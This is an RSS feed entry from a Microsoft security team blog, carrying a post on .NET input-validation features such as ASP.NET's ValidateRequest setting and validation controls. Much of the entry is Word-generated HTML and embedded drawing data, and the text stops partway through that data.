<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>%41%43%45%20%54%65%61%6d  : Input Validation</title><link>http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx</link><description>Tags: Input Validation</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>First Line of Defense for Web Applications – Conclusion</title><link>http://blogs.msdn.com/hackers/archive/2008/01/06/first-line-of-defense-for-web-applications-conclusion.aspx</link><pubDate>Mon, 07 Jan 2008 03:45:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:7011025</guid><dc:creator>techjunkie</dc:creator><slash:comments>4</slash:comments><comments>http://blogs.msdn.com/hackers/comments/7011025.aspx</comments><wfw:commentRss>http://blogs.msdn.com/hackers/commentrss.aspx?PostID=7011025</wfw:commentRss><description>&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485140&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Platform features for validating input in .NET Framework&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;There are many platform features which should be leveraged wherever possible. Some of the key validation features supported by .NET framework are given below:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485141&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;ValidateRequest&lt;/FONT&gt;&lt;/SPAN&gt;&lt;FONT size=4&gt;&lt;FONT color=#4f81bd&gt;&lt;FONT face=Cambria&gt;&lt;SPAN lang=EN-IN&gt; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/H2&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 7.5pt 3.75pt 0in; VERTICAL-ALIGN: top; LINE-HEIGHT: 140%"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;ASP.NET performs request validation against query-string and form variables as well as cookie values. By default, if the current &lt;/FONT&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/system.web.httpcontext.request.aspx"&gt;&lt;SPAN style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none"&gt;&lt;FONT face=Calibri size=3&gt;Request&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; contains HTML-encoded elements or certain HTML characters (such as &amp;amp;#151;), the ASP.NET page framework raises an error.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 1in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;This is an httphandler which will scan all requests coming in the application and will generate an error message if it detects malicious characters in the request that could initiate a cross site scripting attack. By default, this security feature is enabled in the Machine.config file. It is always advisable to not to disable this setting and verify that validateRequest is set to true as given below.&lt;BR style="mso-special-character: line-break"&gt;&lt;BR style="mso-special-character: line-break"&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;&amp;lt;system.web&amp;gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&amp;lt;pages buffer="true" validateRequest="true" /&amp;gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;&amp;lt;/system.web&amp;gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;There are some limitations to this feature.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo3"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;If you need a page which contains a free format rich test entry fields designed to accept a range for HTML as input, then you might want to disable this feature. It should be understood that disabling validate request is dangerous, so make sure proper input validation is implemented in the application.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo3"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Security researchers have found a way to bypass this platform validation feature in the past multiple times, and they can do it again in the future. Relying “Only” on this mitigation can prove costly. &lt;/FONT&gt;&lt;A href="http://www.procheckup.com/Vulner_PR0703.php"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Microsoft ASP.NET request filtering can be bypassed allowing XSS and HTML injection attacks&lt;/FONT&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 8.5pt; FONT-FAMILY: 'Verdana','sans-serif'; mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;A class="" name=_Toc168485142&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Validation controls&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H2&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoCommentText style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face=Calibri&gt;The validation features provided by the .NET framework are immensely powerful. Validation controls provide an easy-to-use mechanism for all common types of standard validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;For example, a developer can test for valid dates or values within a range and can create custom-written validation. In addition, validation controls allow you to customize how error information is displayed to the user. Using the right validation control in the right context can save your application from lot of attack vectors.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="mso-ansi-language: EN-US; mso-no-proof: yes"&gt;&lt;?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /&gt;&lt;v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0"&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"&gt;&lt;/v:path&gt;&lt;o:lock aspectratio="t" v:ext="edit"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;v:shape id=Diagram_x0020_5 style="VISIBILITY: visible; WIDTH: 434.25pt; HEIGHT: 127.5pt" type="#_x0000_t75" o:spid="_x0000_i1025" o:gfxdata="UEsDBBQABgAIAAAAIQB6liIHRwEAAFUEAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLSUy07DMBBF&amp;#13;&amp;#10;90j8g+UtatyyQAgl6aKFFQIkygcM9iS16he2U5q/x3UDC5AKVekmUhTNueeOrZTTjVZkjT5Iayo6&amp;#13;&amp;#10;KcaUoOFWSNNW9GVxN7qmJEQwApQ1WNEeA53W52floncYSJo2oaLLGN0NY4EvUUMorEOTvjTWa4jp&amp;#13;&amp;#10;1bfMAV9Bi+xyPL5i3JqIJo7ilkHr8jEJeCmQPIGPD6BTDuNKulcLXjAhofWgQxpT1odJkdCUzHaM&amp;#13;&amp;#10;rUZFwTklOcRUgq2N+CYwsk0jOQrLO51iC+HhPfXTqhjQswy+2HJZXc6xgU5FcrtJkru9eFThsMih&amp;#13;&amp;#10;b5Ems1ZYShf2JOzvNJj9sqddrcCGfv+2qE/t/fExnT2y/Dw+OWP+lvt1PRT0tovHZ/+4HvcZfKDN&amp;#13;&amp;#10;Wyf56jn2Ck9glLkHCgmIcAKVecJ+mrD8U6g/AAAA//8DAFBLAwQUAAYACAAAACEArTA/8cEAAAAy&amp;#13;&amp;#10;AQAACwAAAF9yZWxzLy5yZWxzhI/NCsIwEITvgu8Q9m7TehCRpr2I4FX0AdZk2wbbJGTj39ubi6Ag&amp;#13;&amp;#10;eJtl2G9m6vYxjeJGka13CqqiBEFOe2Ndr+B03C3WIDihMzh6RwqexNA281l9oBFTfuLBBhaZ4ljB&amp;#13;&amp;#10;kFLYSMl6oAm58IFcdjofJ0z5jL0MqC/Yk1yW5UrGTwY0X0yxNwri3lQgjs+Qk/+zfddZTVuvrxO5&amp;#13;&amp;#10;9CNCmoj3vCwjMfaUFOjRhrPHaN4Wv0VV5OYgm1p+LW1eAAAA//8DAFBLAwQUAAYACAAAACEAgntg&amp;#13;&amp;#10;Ub8QAADPXgAAHAAAAGNsaXBib2FyZC9kaWFncmFtcy9kYXRhMS54bWzkXFtvW8e5fT9A/wOh94nm&amp;#13;&amp;#10;fjHqFHPFCeCkRur25eCg2CZpmyhFKiSd2C3637uGEiluSVSHulAW8qJIjLW155tvvsta65s//unL&amp;#13;&amp;#10;2XTw63ixnMxnr0/Yd/RkMJ4N56PJ7OPrk7++K8SeDJarbjbqpvPZ+PXJ1/Hy5E/f/+F//jj6ePZq&amp;#13;&amp;#10;1K26H+ej8XSAp8yWr/DZ65NPq9X5q9PT5fDT+Kxbfjc/H8/wfz/MF2fdCj8uPp6OFt1veP7Z9JRT&amp;#13;&amp;#10;qk9Hk+7jojs7uXxId49HnHWT2cn363c6X71ZrjbfDs7q2/0wen3yL5Nc0k47UoyxRFrBSPA+E5U4&amp;#13;&amp;#10;M7ZEKYT/98lg9fUcqxzNh5vHLf4yXg2m83f4vD7n82L26mwyXMyX8w+r74bzs9P5hw+T4fjyP91i&amp;#13;&amp;#10;VRelTu3ptPs6/7w6/fRmslyxEzwidqv6hCl+Phn8sjz8ib98ngz/sVx9nY5Pl5Oz8+kYj/1lefnY&amp;#13;&amp;#10;i09OBsN7PHg4n84Xy9NuOBzPVuzvvD7l8rGXn50Mzj9NRwt4yMnphXGX528Xl9/C3N2r9/PR1/Un&amp;#13;&amp;#10;3avpcvWX9VvWz8/rl/Fs9LZbdD+/XQymXfWs8Yz88FN91On6X5xWb8Jj1v89v237WPJGOBWI0oUS&amp;#13;&amp;#10;aXgmIYpAOHWCq1wiTfbfvT1bv/C71yf/9278ZfX/93rtRX33xc2X7vCuP4+xHYvxCMdltfha11Hf&amp;#13;&amp;#10;H/+8fU0ye6aYU4QqVYjUmpOglCZaa5cEl4UKvXXJ827xbtHNltibL7O1R2dubLbSEacTPFpQRQJX&amp;#13;&amp;#10;noQgvdMl6iRDzyTPs3OWJ8+wO8R6lXHwvCL42ROeuI0qa6ktdu7y4C0n71/mKkvkwVavZFImIrE1&amp;#13;&amp;#10;JEgeSORSueRyzJT3NuPiQD29f5bJeDr6WzedIFjPF/fy06Rt4Flo+JiEo2VmCU6ig9tmqXkuyse4&amp;#13;&amp;#10;3cGbfhqddTY7S5LJHr9eJLGRCZIK48EHKYIrPdM8j5+KbA0L3pLoRawRRhMXCofH0qyFQZBhabvK&amp;#13;&amp;#10;m376QlaZbXGIlpEoHnAaZTIk2ASPLSxJFZJiifU246n99G23Wo0Xs8GP3Wr4CVXBvTw0a5dpYpL4&amp;#13;&amp;#10;6B2RKWsSTPSkZnbBOeOIjtu9u+mh0jARfSxEFKWI9DISS1MhIRUEUoMP2LfgoUgHJRXsGGI7DpJW&amp;#13;&amp;#10;CavEuSo22Vwy95pi7/ZG0heyShujk9wJUlg9fbIobAZOpOIuW6yZen3cTB/nZ3CZ8cNiaPBUcY00&amp;#13;&amp;#10;b4ypq4rw1Yx8aKWsQSd5Ya/27hYP5ShbGQ2EhoTyR+KLZ1rDRslbz7imGQ5+WfbWkvV5Yqg1MYhi&amp;#13;&amp;#10;KYmCBZzDWM+h9URT5azN0ftyVwyVL2OVxjKVLM4h96nmB++JK0gXWitkOCF0jrK3GU8dQ39GTT0e&amp;#13;&amp;#10;xE/j4T/uG0ELvDE41KIoQJEXBIOD5YIknZUJmqukBdZ0GVtu+qcqPFqH0k7xzGASI2tVyom32XA8&amp;#13;&amp;#10;O2LreyZ5Hv/M0XJtyjrHo5zx8FRrUbQlqqQTKZXgriqZmzn+hayy6Cxd1Ki4tRBERoOeIFFGiis+&amp;#13;&amp;#10;WOwNavDeZhzFPx8YP2kQQvBCWBYIgD6b2kVYorNiJjuts7krw+vAqWCO48h6HFlhEsFBjQRlefCo&amp;#13;&amp;#10;YplL2Pjnj59Wox72SHYU8QSdESPOW43XLB5lthFB3OWfL2SVXKHz006SiEaVyKAD8bziMRQdAjqD&amp;#13;&amp;#10;iJTY24yn9s+/LseLQRp/mMzGo3vVn+jymEaXgBTg0cnLhJolIPwJiu1LmdOU0P3tj55SeUc5/r3w&amp;#13;&amp;#10;SJu8ZOJoDkREg95RZV9q2nx279QovZz1SAqIIHjNxJAjrERwcUwAW4vcIcjvrT/Vy1gl99khi6NS&amp;#13;&amp;#10;U9aghkGpbY21RJkSjXYRBehxO/mL+nOynM8Gq/mgG/zaTT+P7+Wm3NmQY9EkU40WV1YQzQOk8Ckj&amp;#13;&amp;#10;7GhXir1K8jfTH4shGM4YUbJW5mj9ScimEOpr5jRecPottElMZOGQ6EksCW5aW/rAOQoSRB0TGAUs&amp;#13;&amp;#10;47ZuerOUeSGrxAojDTmTqNHNSwRQgDIARFGr6YhmwaE/7MWMpw6iP48/fp52i/zlfDFeVjph8LCM&amp;#13;&amp;#10;b5gyNERKWPHAJzw81it0QD467VNBnSmvcMOb20gB5yC7G2ICRUHrAYxabROhzFOUgYmjHe7Z53kq&amp;#13;&amp;#10;Uqmxc9QKogrDNqZSiJM2E0NdYEBzja14zN6Y+kJWWTgPSQKV0bF2TDJEJHsUADolrYLwFEVObzOe&amp;#13;&amp;#10;2lnj5+VqfvYwB9Xw0OhQSTIhUawFpMMQFNAZ45XNCTCpMNutu+mg6IVdlCCkqJY1z6AU8lQgz4hQ&amp;#13;&amp;#10;jEZbr4vo2eR5HJQC+Iy18A6SIZpG1DeW6YLgKlRQSPxmp/C+mTNeyCoD+EBbNKiYwBFskk5AZipT&amp;#13;&amp;#10;kQFyJ5FYEDvBBgFutxob1Ijnl8v58IfUzjTWX/qpOwPbWL+Cd60frHmzOFu9PqHbvzBevllTiX/r&amp;#13;&amp;#10;FsuLGnA02VBv3Wxy9uZXMLjdFMzir9MNzYVHTf45/l/wttPx8uL/jr90w9WacqtkW/1ju4+9YN4q&amp;#13;&amp;#10;cnTxJ45M7xVQQUBpAWgCh0VpEQ2xpSB4o2sDgcSF1ldhsL771jqVnq0fXNm/jSpc/9KF/cHins+X&amp;#13;&amp;#10;k9X45h70z9x+etJm7T1SLvHgEOA/tGZjfIkpW+qlSGU3Fjzy+9fY8mXn3d+8hzOA8fk4+wn0N0ji&amp;#13;&amp;#10;rWf9MPpSPevqg7Wrqa0x+z5R/WT46cfuy4UD0Y1zDT+9XYw/XPvw/efpdLzKs+79FKTo2h/XXPGl&amp;#13;&amp;#10;Y/Wf/MzeBqyKM4nKlccMQkvjtIcARgp7FRQL0bmC2mnTrj3ybo3Gyz275YfDMp9O5789fNte0m6w&amp;#13;&amp;#10;4JRXghPq6tlRlV7kgKs8vosogrRVV23lfzn7jWRzfcrF2V+ed8MHnHsWHXUuIDGqwKonVZob3G8C&amp;#13;&amp;#10;b+GYAWyad3qNuz2pjZp73LilFBo4sC0klEoHZoMaBskO9Cd0FtFKJcUOcPHI739g3NoNZL/PuBUy&amp;#13;&amp;#10;OvQETBeMtCTAeBUoaqBOta/n6CTAvgAnaotbB3vbfePWQdv2kuIW+DyKNttDkgQRjnQAG5xaA8tG&amp;#13;&amp;#10;G0dFSQEwZttuNFK7jxa3LLCQAl6cMBsAp2fwNSEkKB6oyJDJBar5FRL0X2JuG2D2uHErQ1Sk0SeB&amp;#13;&amp;#10;b0IvAjYVgKsPhQBHVUV7V3Jptv3B739g3IKcrlrwqrT/3dVbIRQlRFZQ64Erlda6SrtBvJcoh8Ii&amp;#13;&amp;#10;WiWvaI3H9rb7xq2Dtu0lxa3MTKSADwl62kr1QpQAwFsSYSIwGpeS38VH7875jYjyo8UtQJzg+hBu&amp;#13;&amp;#10;ma9assq/V/AatB5LIWaladihAe9+9zYa/3HjFhRvTqHLIFzZCvcB/nESwatANxGh6qlSs9accfD7&amp;#13;&amp;#10;Hxi3xO8+bvkgHSvgfkB8ABVyAagEeD2C6gvSMK+UM82dycG7dd+4ddC2vaS4BXGG5wmqPh+rFjWw&amp;#13;&amp;#10;DAlAAEYnTZbMgcKqiH5bvdUoBHm8uOU0k8qCVCxVbClsgGQIMZc5n0F4I3i55rjVRp8/btzyAOlN&amp;#13;&amp;#10;Rr0FjSEAfAGQ1IM/JMEFq2WWoO5B/bXZ/uD3PzBuyd993AIoYQr0IgSpHqgEAheyJFIlQ27H3glA&amp;#13;&amp;#10;rc1o9sG7dd+4ddC2fcNx6xIk3k4hYVxj9/udkaQ2bmSwXAzX8x6NOwH7r+eM/tVGutXH/3kxWsPC&amp;#13;&amp;#10;9Vc339dDV+dN1n+6kera0D/r32kjji4BdhhpxzBtOtArwzQpNgZbw7QpjJsM0yjr7RmmTSR7q2FQ&amp;#13;&amp;#10;40KMnlGrs0o5Vn3t+kcc92QS1ABxR4FTk9efP2B879J/2hQDV2ZqRJv2+Q/+evWD+w7M3br+Nrp7&amp;#13;&amp;#10;u+JGjGvrGI0W2rfi3RPTqF7oOUabFuBWw7Rpq7aGaRyG3BqmMfRsDINQvjeUNErleoZpE57dapi2&amp;#13;&amp;#10;Ibl7G6aRa9wYBtTbXsM0TgP2DNNGd9xqmDaZ070N0wiqbQwDsGWvYRr1XD3DtOEStxqmTUR7ZZim&amp;#13;&amp;#10;YYCrqNomzq6P32TivYYJbZronmFsk8L4VsOgyOcWZBcYIiAWlSGq8j9DhMfPGSJs6O16PcBu8mlc&amp;#13;&amp;#10;dl3runpobL33mekpko/DxFwS6OFy4RDsACgHT6nA8StM5tDsc9Z9rmx3/YdG3EZByjHX3zY/dnUw&amp;#13;&amp;#10;2gbutzvemKw3KwattPdgNI4D9g5GGwNz68Gg0GEmsA5ESFAQUksKIkhj3gJTQgVMi8Hgwv6D0SSN&amp;#13;&amp;#10;u4ofjb3dxkzXM85THIyI6V7IiHGXgk4ANQuEfSHFqmbHMJjJQL6K3rv+Rlxs6yaNCOox188w3mYD&amp;#13;&amp;#10;1GIsQLsg6yCp10CngsjApwr4DdqnN3YDQ9vg+NX+N2pXjrn+iMFGqBUNoUIgMRQwcuvZHMNMxYaA&amp;#13;&amp;#10;kt7RlTQWCtv9b2T+jrp+KnUIArieMSBUMGaFxAARCPSEXmhbJ+t2hKDXurLGZnS7/kYu7Zjrlyyh&amp;#13;&amp;#10;3fHgkUMGOMjAKDuWoEyv+mUM/ol4TcCz6/+NFfR2/Y1Ku2Ouv20s8N6JsTFCblYM/L8aa1M99nCc&amp;#13;&amp;#10;xinPXmJsg8pvTYzeK41pQ4QDkStLD3UU5LWOZINJdgqBJC37A2Njz7l1jEaIemOmoyTGppsvto5x&amp;#13;&amp;#10;6FFoTB37VrwLVzRe8dFzjLYLM251DCQGZgyYEEEhuwSVAxqUY4IFF+GABeXcWrW/lWgsFLeO0ahx&amp;#13;&amp;#10;22emp6iYMNLnwSxiRMniOOCuEUYQ1xjkzkXGgqqBxn7GeNstdoNmY3ewNUGjvPqYJogRJIQGBaY4&amp;#13;&amp;#10;pJ+g8MBRBNzgYTBWIFE1MMn6jNg1EzQuaWuCbzBvWJM1RpwYbsJZT/tmCvk7lFiY/wSxzCPnsV83&amp;#13;&amp;#10;P9AEB5aO1zuspzgIhVkZKTppoTBigtIZSuyMO1giL2h0oErBRFSvdbhmgkMPQqPWeHMQjmGC6HJK&amp;#13;&amp;#10;gGVIglq4yp8jcQ4tlMOobQnWwQ/6sfChJmiTLG9McB2ZewoviNzj0jLgSYCSqiqGQ0mJYWE00IZa&amp;#13;&amp;#10;Hg1uprjTBI0q7G0s+AYzQsl1uJoi/lEJyhbKawgaMQUD3UBBe0lxH9ydGeFQExxI7hzjICTMs2qP&amp;#13;&amp;#10;eoBaU3sJDAJZAS+g0qIqYALzxXd6waGxoFG/uzkI1+vqpzgI9YInUy8DxD0AQBIkkoFl6KkVRN+Y&amp;#13;&amp;#10;C5SQwPRlrQ+MBY0y4I0JrvM6T2ECSEGDcBT6EoVrEHBFCy5KUsKTlKRwWXrBRF8hd80EjUvaxoJv&amp;#13;&amp;#10;EE8oWgONBJTAMJ+EcFhvwFKYZMZNNRnTGdoCU7krKR5qggMhhWPEAszS8XpBJOYbcBMD7gzk0Kji&amp;#13;&amp;#10;XCRMvYucgbjV+4R29EbXvODQWNCoid0cBHWtx36Kg4D7PBHzJaSips4HIz9WpVudVFNO44YDjvuK&amp;#13;&amp;#10;HtMEjdLajQn0EUygkQYNJscJowxeUCzmXUxhGNLFFQe48VVjLPQuEzQuaRsLvkFs2VFcIyrRGieL&amp;#13;&amp;#10;LxJTsrgNDxf/CWXRJGPeTNg7D8KhJjiQdztGLLC2JFygAxQJemkcBAFk3VHUiWiffBasxHRnODw0&amp;#13;&amp;#10;FjTqTDcHwRzhIGBWx3j4OxR8EF3idlncWxZwEBTuDwiUmihtH0h7YDh0bXLVjQlwR3g9Q1vI8SnC&amp;#13;&amp;#10;IXDDFOsFuwoTPvAC3E2Hew8D4GaTDOdcYej6zljQtqRtLPgG4URcz+fRDWCMBhdMYOHomFEXVJVn&amp;#13;&amp;#10;cQa3lHqe78wIjbu6NcGBVOPjx4K1lHJXP/n+4yWc+NunOW5Bv7wwfHsN/ff/EQAAAP//AwBQSwME&amp;#13;&amp;#10;FAAGAAgAAAAhAPWBrIuOAQAASAQAAB8AAABjbGlwYm9hcmQvZHJhd2luZ3MvZHJhd2luZzEueG1s&amp;#13;&amp;#10;pFNRT8IwEH438T80fZcxBIILgwcRw4uSqD/g0patcW1nOxD+vddtZBVNNPCyXK+97777vtt0vlcF&amp;#13;&amp;#10;2QnrpNEpjXt9SoRmhkudpfTtdXkzocRVoDkURouUHoSj89n11RSSzEKZS0YQQbsEUppXVZlEkWO5&amp;#13;&amp;#10;UOB6phQa7zbGKqjwaLOIW/hEZFVEg35/HCmQms46qAVUQLZWngFVGPYu+D3oHTiELFgSZlqOBbsc&amp;#13;&amp;#10;GRK9e7TlS7m2njl72q0tkTylqJwGhRLRqL1on+ExOqnKOoD9xir/3mw2ZF+jHPy3xhD7ijBMjoaT&amp;#13;&amp;#10;8bCPDRjexeP4bjBqX7D8+Zc6lj/8UYmEmsYYBGRaS5cWB/Gk/Ki1yXXmdOLBceKFBKxUZBSMHpZ1&amp;#13;&amp;#10;CoRZ36BtGIQX7ABvaKD9PFOJFcWKu9Z5TJxh/RGwBbH/gUAfJRMLw7ZK6KrZc6QCFf5gLpelo8Qm&amp;#13;&amp;#10;HNnYFY99XJg6RjFt8uHq+NbHrImHXtPapVo7L0949spdskLfF6GzB3uc/ENh1x8svgAAAP//AwBQ&amp;#13;&amp;#10;SwMEFAAGAAgAAAAhAAShed0KAQAAdAMAACoAAABjbGlwYm9hcmQvZHJhd2luZ3MvX3JlbHMvZHJh&amp;#13;&amp;#10;d2luZzEueG1sLnJlbHO0k89KxDAQh++C7xDmbtOufxDZdA8uwoIXdX2AIZm2YdOkJqnYtzcUXSyU&amp;#13;&amp;#10;etm9BJKP/OZjMllvvlrDPskH7ayAIsuBkZVOaVsLeN8/Xd0DCxGtQuMsCRgowKa8vFi/ksGYLoVG&amp;#13;&amp;#10;d4GlFBsENDF2D5wH2VCLIXMd2UQq51uMaetr3qE8YE18led33P/NgHKSyXZKgN+pa2D7oUuV/892&amp;#13;&amp;#10;VaUlbZ3sW7JxpgRXGmuP7Uuv5eEtDoZSOPqaooAs+6WBfxx5kSV/4PNqqzOoPePg+ji